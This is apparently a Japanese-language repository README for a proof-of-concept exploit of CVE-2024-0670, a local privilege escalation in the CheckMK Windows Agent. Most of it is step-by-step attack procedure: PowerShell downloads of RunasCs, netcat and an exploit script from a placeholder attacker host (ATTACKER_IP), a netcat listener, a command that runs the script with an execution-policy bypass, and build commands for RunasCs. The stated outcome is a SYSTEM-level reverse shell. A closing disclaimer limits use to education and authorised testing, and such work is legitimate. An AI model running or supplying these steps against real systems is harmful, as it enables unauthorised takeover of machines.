
このリポジトリには、CheckMK Agent for Windowsに影響を与えるローカル権限昇格の脆弱性であるCVE-2024-0670のエクスプロイトデモが含まれています。この脆弱性により、低特権ユーザーがMSI修復メカニズムによって処理される書き込み可能なファイルパスを悪用してSYSTEM権限を取得することが可能です。
このリポジトリには、CVE-2024-0670(CheckMK Windows Agent のローカル特権昇格の脆弱性)のシンプルでクリーンな概念実証が含まれています。 低権限のユーザーが、MSI修復中に実行される書き込み可能な一時ファイルパスを悪用することで、SYSTEM権限を取得できます。
MSI修復中、CheckMK は以下の場所でファイルを実行します:
C:\Windows\Temp\
通常のユーザーが予測可能な名前でファイルをそこに配置できる場合、NT AUTHORITY\SYSTEM としてコマンドを実行できます。
このエクスプロイトは複数のペイロードファイル名を仕込み、MSI修復をトリガーして SYSTEM 実行を達成します。
RunasCs.exe → runas replacement (plaintext password support)
nc.exe → Netcat (reverse shell)
exploit.ps1 → CVE-2024-0670 exploit script
README.md → documentation
C:\Windows\Temp\
Invoke-WebRequest -Uri "http://ATTACKER_IP:8000/RunasCs.exe" -OutFile "C:\Windows\Temp\RunasCs.exe"
Invoke-WebRequest -Uri "http://ATTACKER_IP:8000/nc.exe" -OutFile "C:\Windows\Temp\nc.exe"
Invoke-WebRequest -Uri "http://ATTACKER_IP:8000/exploit.ps1" -OutFile "C:\Windows\Temp\exploit.ps1
自分のマシンでリスナーを起動:
nc -lvnp 1111
.\RunasCs.exe username "password" "powershell.exe -NoProfile -ExecutionPolicy Bypass -File C:\Windows\Temp\exploit.ps1"
成功すると、SYSTEM 権限のリバースシェルが得られます。
net4:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe -target:exe -optimize -out:RunasCs.exe RunasCs.cs
net2:
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe -target:exe -optimize -out:RunasCs_net2.exe RunasCs.cs
このプロジェクトは教育目的および許可されたペネトレーションテストのみを対象としています。 違法目的で使用しないでください。 作者は誤用に対する責任を負いません。